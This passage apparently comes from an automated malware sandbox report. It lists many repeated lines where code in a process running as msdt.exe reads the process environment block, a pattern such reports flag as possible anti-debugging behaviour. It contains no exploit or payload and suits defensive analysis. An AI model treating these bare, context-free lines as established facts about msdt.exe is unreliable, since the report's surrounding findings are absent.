Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91C06 mov eax, dword ptr fs:[00000030h]		5_2_04D91C06
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56C0A mov eax, dword ptr fs:[00000030h]		5_2_04D56C0A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56C0A mov eax, dword ptr fs:[00000030h]		5_2_04D56C0A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56C0A mov eax, dword ptr fs:[00000030h]		5_2_04D56C0A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56C0A mov eax, dword ptr fs:[00000030h]		5_2_04D56C0A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0BC2C mov eax, dword ptr fs:[00000030h]		5_2_04D0BC2C
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56DC9 mov eax, dword ptr fs:[00000030h]		5_2_04D56DC9
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56DC9 mov eax, dword ptr fs:[00000030h]		5_2_04D56DC9
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56DC9 mov eax, dword ptr fs:[00000030h]		5_2_04D56DC9
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56DC9 mov ecx, dword ptr fs:[00000030h]		5_2_04D56DC9
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56DC9 mov eax, dword ptr fs:[00000030h]		5_2_04D56DC9
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56DC9 mov eax, dword ptr fs:[00000030h]		5_2_04D56DC9
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D88DF1 mov eax, dword ptr fs:[00000030h]		5_2_04D88DF1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CED5E0 mov eax, dword ptr fs:[00000030h]		5_2_04CED5E0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CED5E0 mov eax, dword ptr fs:[00000030h]		5_2_04CED5E0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9FDE2 mov eax, dword ptr fs:[00000030h]		5_2_04D9FDE2
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9FDE2 mov eax, dword ptr fs:[00000030h]		5_2_04D9FDE2
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9FDE2 mov eax, dword ptr fs:[00000030h]		5_2_04D9FDE2
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9FDE2 mov eax, dword ptr fs:[00000030h]		5_2_04D9FDE2
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD2D8A mov eax, dword ptr fs:[00000030h]		5_2_04CD2D8A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD2D8A mov eax, dword ptr fs:[00000030h]		5_2_04CD2D8A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD2D8A mov eax, dword ptr fs:[00000030h]		5_2_04CD2D8A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD2D8A mov eax, dword ptr fs:[00000030h]		5_2_04CD2D8A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD2D8A mov eax, dword ptr fs:[00000030h]		5_2_04CD2D8A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0FD9B mov eax, dword ptr fs:[00000030h]		5_2_04D0FD9B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0FD9B mov eax, dword ptr fs:[00000030h]		5_2_04D0FD9B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02581 mov eax, dword ptr fs:[00000030h]		5_2_04D02581
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02581 mov eax, dword ptr fs:[00000030h]		5_2_04D02581
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02581 mov eax, dword ptr fs:[00000030h]		5_2_04D02581
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02581 mov eax, dword ptr fs:[00000030h]		5_2_04D02581
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D01DB5 mov eax, dword ptr fs:[00000030h]		5_2_04D01DB5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D01DB5 mov eax, dword ptr fs:[00000030h]		5_2_04D01DB5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D01DB5 mov eax, dword ptr fs:[00000030h]		5_2_04D01DB5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D035A1 mov eax, dword ptr fs:[00000030h]		5_2_04D035A1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA05AC mov eax, dword ptr fs:[00000030h]		5_2_04DA05AC
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA05AC mov eax, dword ptr fs:[00000030h]		5_2_04DA05AC
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D13D43 mov eax, dword ptr fs:[00000030h]		5_2_04D13D43
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D53540 mov eax, dword ptr fs:[00000030h]		5_2_04D53540
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D83D40 mov eax, dword ptr fs:[00000030h]		5_2_04D83D40
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF7D50 mov eax, dword ptr fs:[00000030h]		5_2_04CF7D50
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFC577 mov eax, dword ptr fs:[00000030h]		5_2_04CFC577
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFC577 mov eax, dword ptr fs:[00000030h]		5_2_04CFC577
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9E539 mov eax, dword ptr fs:[00000030h]		5_2_04D9E539
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D5A537 mov eax, dword ptr fs:[00000030h]		5_2_04D5A537
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D04D3B mov eax, dword ptr fs:[00000030h]		5_2_04D04D3B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D04D3B mov eax, dword ptr fs:[00000030h]		5_2_04D04D3B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D04D3B mov eax, dword ptr fs:[00000030h]		5_2_04D04D3B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA8D34 mov eax, dword ptr fs:[00000030h]		5_2_04DA8D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE3D34 mov eax, dword ptr fs:[00000030h]		5_2_04CE3D34
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDAD30 mov eax, dword ptr fs:[00000030h]		5_2_04CDAD30
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA8ED6 mov eax, dword ptr fs:[00000030h]		5_2_04DA8ED6
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D18EC7 mov eax, dword ptr fs:[00000030h]		5_2_04D18EC7
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D8FEC0 mov eax, dword ptr fs:[00000030h]		5_2_04D8FEC0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D036CC mov eax, dword ptr fs:[00000030h]		5_2_04D036CC
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE76E2 mov eax, dword ptr fs:[00000030h]		5_2_04CE76E2
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D016E0 mov ecx, dword ptr fs:[00000030h]		5_2_04D016E0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6FE87 mov eax, dword ptr fs:[00000030h]		5_2_04D6FE87
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D546A7 mov eax, dword ptr fs:[00000030h]		5_2_04D546A7
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA0EA5 mov eax, dword ptr fs:[00000030h]		5_2_04DA0EA5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA0EA5 mov eax, dword ptr fs:[00000030h]		5_2_04DA0EA5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA0EA5 mov eax, dword ptr fs:[00000030h]		5_2_04DA0EA5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE7E41 mov eax, dword ptr fs:[00000030h]		5_2_04CE7E41
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE7E41 mov eax, dword ptr fs:[00000030h]		5_2_04CE7E41
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE7E41 mov eax, dword ptr fs:[00000030h]		5_2_04CE7E41
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE7E41 mov eax, dword ptr fs:[00000030h]		5_2_04CE7E41
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE7E41 mov eax, dword ptr fs:[00000030h]		5_2_04CE7E41
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE7E41 mov eax, dword ptr fs:[00000030h]		5_2_04CE7E41
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9AE44 mov eax, dword ptr fs:[00000030h]		5_2_04D9AE44
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9AE44 mov eax, dword ptr fs:[00000030h]		5_2_04D9AE44
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE766D mov eax, dword ptr fs:[00000030h]		5_2_04CE766D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFAE73 mov eax, dword ptr fs:[00000030h]		5_2_04CFAE73
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFAE73 mov eax, dword ptr fs:[00000030h]		5_2_04CFAE73
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFAE73 mov eax, dword ptr fs:[00000030h]		5_2_04CFAE73
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFAE73 mov eax, dword ptr fs:[00000030h]		5_2_04CFAE73
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFAE73 mov eax, dword ptr fs:[00000030h]		5_2_04CFAE73
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0A61C mov eax, dword ptr fs:[00000030h]		5_2_04D0A61C
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0A61C mov eax, dword ptr fs:[00000030h]		5_2_04D0A61C
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDC600 mov eax, dword ptr fs:[00000030h]		5_2_04CDC600
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDC600 mov eax, dword ptr fs:[00000030h]		5_2_04CDC600
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDC600 mov eax, dword ptr fs:[00000030h]		5_2_04CDC600
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D08E00 mov eax, dword ptr fs:[00000030h]		5_2_04D08E00
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91608 mov eax, dword ptr fs:[00000030h]		5_2_04D91608
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D8FE3F mov eax, dword ptr fs:[00000030h]		5_2_04D8FE3F
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDE620 mov eax, dword ptr fs:[00000030h]		5_2_04CDE620
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D137F5 mov eax, dword ptr fs:[00000030h]		5_2_04D137F5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D57794 mov eax, dword ptr fs:[00000030h]		5_2_04D57794
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D57794 mov eax, dword ptr fs:[00000030h]		5_2_04D57794
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D57794 mov eax, dword ptr fs:[00000030h]		5_2_04D57794
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE8794 mov eax, dword ptr fs:[00000030h]		5_2_04CE8794
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEEF40 mov eax, dword ptr fs:[00000030h]		5_2_04CEEF40
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEFF60 mov eax, dword ptr fs:[00000030h]		5_2_04CEFF60
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA8F6A mov eax, dword ptr fs:[00000030h]		5_2_04DA8F6A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6FF10 mov eax, dword ptr fs:[00000030h]		5_2_04D6FF10
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6FF10 mov eax, dword ptr fs:[00000030h]		5_2_04D6FF10
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA070D mov eax, dword ptr fs:[00000030h]		5_2_04DA070D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA070D mov eax, dword ptr fs:[00000030h]		5_2_04DA070D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFF716 mov eax, dword ptr fs:[00000030h]		5_2_04CFF716
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0A70E mov eax, dword ptr fs:[00000030h]		5_2_04D0A70E
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0A70E mov eax, dword ptr fs:[00000030h]		5_2_04D0A70E
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0E730 mov eax, dword ptr fs:[00000030h]		5_2_04D0E730
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD4F2E mov eax, dword ptr fs:[00000030h]		5_2_04CD4F2E
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD4F2E mov eax, dword ptr fs:[00000030h]		5_2_04CD4F2E
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6B8D0 mov eax, dword ptr fs:[00000030h]		5_2_04D6B8D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6B8D0 mov ecx, dword ptr fs:[00000030h]		5_2_04D6B8D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6B8D0 mov eax, dword ptr fs:[00000030h]		5_2_04D6B8D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6B8D0 mov eax, dword ptr fs:[00000030h]		5_2_04D6B8D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6B8D0 mov eax, dword ptr fs:[00000030h]		5_2_04D6B8D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6B8D0 mov eax, dword ptr fs:[00000030h]		5_2_04D6B8D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD58EC mov eax, dword ptr fs:[00000030h]		5_2_04CD58EC
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD40E1 mov eax, dword ptr fs:[00000030h]		5_2_04CD40E1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD40E1 mov eax, dword ptr fs:[00000030h]		5_2_04CD40E1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD40E1 mov eax, dword ptr fs:[00000030h]		5_2_04CD40E1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9080 mov eax, dword ptr fs:[00000030h]		5_2_04CD9080
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D53884 mov eax, dword ptr fs:[00000030h]		5_2_04D53884
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D53884 mov eax, dword ptr fs:[00000030h]		5_2_04D53884
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0F0BF mov ecx, dword ptr fs:[00000030h]		5_2_04D0F0BF
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0F0BF mov eax, dword ptr fs:[00000030h]		5_2_04D0F0BF
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0F0BF mov eax, dword ptr fs:[00000030h]		5_2_04D0F0BF
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D020A0 mov eax, dword ptr fs:[00000030h]		5_2_04D020A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D020A0 mov eax, dword ptr fs:[00000030h]		5_2_04D020A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D020A0 mov eax, dword ptr fs:[00000030h]		5_2_04D020A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D020A0 mov eax, dword ptr fs:[00000030h]		5_2_04D020A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D020A0 mov eax, dword ptr fs:[00000030h]		5_2_04D020A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D020A0 mov eax, dword ptr fs:[00000030h]		5_2_04D020A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D190AF mov eax, dword ptr fs:[00000030h]		5_2_04D190AF
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF0050 mov eax, dword ptr fs:[00000030h]		5_2_04CF0050
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF0050 mov eax, dword ptr fs:[00000030h]		5_2_04CF0050
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D92073 mov eax, dword ptr fs:[00000030h]		5_2_04D92073
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA1074 mov eax, dword ptr fs:[00000030h]		5_2_04DA1074
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D57016 mov eax, dword ptr fs:[00000030h]		5_2_04D57016
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D57016 mov eax, dword ptr fs:[00000030h]		5_2_04D57016
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D57016 mov eax, dword ptr fs:[00000030h]		5_2_04D57016
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA4015 mov eax, dword ptr fs:[00000030h]		5_2_04DA4015
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA4015 mov eax, dword ptr fs:[00000030h]		5_2_04DA4015
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEB02A mov eax, dword ptr fs:[00000030h]		5_2_04CEB02A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEB02A mov eax, dword ptr fs:[00000030h]		5_2_04CEB02A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEB02A mov eax, dword ptr fs:[00000030h]		5_2_04CEB02A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEB02A mov eax, dword ptr fs:[00000030h]		5_2_04CEB02A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0002D mov eax, dword ptr fs:[00000030h]		5_2_04D0002D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0002D mov eax, dword ptr fs:[00000030h]		5_2_04D0002D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0002D mov eax, dword ptr fs:[00000030h]		5_2_04D0002D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0002D mov eax, dword ptr fs:[00000030h]		5_2_04D0002D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0002D mov eax, dword ptr fs:[00000030h]		5_2_04D0002D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDB1E1 mov eax, dword ptr fs:[00000030h]		5_2_04CDB1E1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDB1E1 mov eax, dword ptr fs:[00000030h]		5_2_04CDB1E1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDB1E1 mov eax, dword ptr fs:[00000030h]		5_2_04CDB1E1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D641E8 mov eax, dword ptr fs:[00000030h]		5_2_04D641E8
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02990 mov eax, dword ptr fs:[00000030h]		5_2_04D02990
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFC182 mov eax, dword ptr fs:[00000030h]		5_2_04CFC182
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0A185 mov eax, dword ptr fs:[00000030h]		5_2_04D0A185
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D551BE mov eax, dword ptr fs:[00000030h]		5_2_04D551BE
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D551BE mov eax, dword ptr fs:[00000030h]		5_2_04D551BE
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D551BE mov eax, dword ptr fs:[00000030h]		5_2_04D551BE
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D551BE mov eax, dword ptr fs:[00000030h]		5_2_04D551BE
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D061A0 mov eax, dword ptr fs:[00000030h]		5_2_04D061A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D061A0 mov eax, dword ptr fs:[00000030h]		5_2_04D061A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D569A6 mov eax, dword ptr fs:[00000030h]		5_2_04D569A6
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D949A4 mov eax, dword ptr fs:[00000030h]		5_2_04D949A4
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D949A4 mov eax, dword ptr fs:[00000030h]		5_2_04D949A4
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D949A4 mov eax, dword ptr fs:[00000030h]		5_2_04D949A4
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D949A4 mov eax, dword ptr fs:[00000030h]		5_2_04D949A4
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFB944 mov eax, dword ptr fs:[00000030h]		5_2_04CFB944
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CFB944 mov eax, dword ptr fs:[00000030h]		5_2_04CFB944
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDC962 mov eax, dword ptr fs:[00000030h]		5_2_04CDC962
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDB171 mov eax, dword ptr fs:[00000030h]		5_2_04CDB171
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDB171 mov eax, dword ptr fs:[00000030h]		5_2_04CDB171
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9100 mov eax, dword ptr fs:[00000030h]		5_2_04CD9100
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9100 mov eax, dword ptr fs:[00000030h]		5_2_04CD9100
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9100 mov eax, dword ptr fs:[00000030h]		5_2_04CD9100
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0513A mov eax, dword ptr fs:[00000030h]		5_2_04D0513A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0513A mov eax, dword ptr fs:[00000030h]		5_2_04D0513A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF4120 mov eax, dword ptr fs:[00000030h]		5_2_04CF4120
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF4120 mov eax, dword ptr fs:[00000030h]		5_2_04CF4120
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF4120 mov eax, dword ptr fs:[00000030h]		5_2_04CF4120
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF4120 mov eax, dword ptr fs:[00000030h]		5_2_04CF4120
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF4120 mov ecx, dword ptr fs:[00000030h]		5_2_04CF4120
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02ACB mov eax, dword ptr fs:[00000030h]		5_2_04D02ACB
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02AE4 mov eax, dword ptr fs:[00000030h]		5_2_04D02AE4
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0D294 mov eax, dword ptr fs:[00000030h]		5_2_04D0D294
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0D294 mov eax, dword ptr fs:[00000030h]		5_2_04D0D294
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0FAB0 mov eax, dword ptr fs:[00000030h]		5_2_04D0FAB0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD52A5 mov eax, dword ptr fs:[00000030h]		5_2_04CD52A5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD52A5 mov eax, dword ptr fs:[00000030h]		5_2_04CD52A5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD52A5 mov eax, dword ptr fs:[00000030h]		5_2_04CD52A5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD52A5 mov eax, dword ptr fs:[00000030h]		5_2_04CD52A5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD52A5 mov eax, dword ptr fs:[00000030h]		5_2_04CD52A5
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEAAB0 mov eax, dword ptr fs:[00000030h]		5_2_04CEAAB0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEAAB0 mov eax, dword ptr fs:[00000030h]		5_2_04CEAAB0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D64257 mov eax, dword ptr fs:[00000030h]		5_2_04D64257
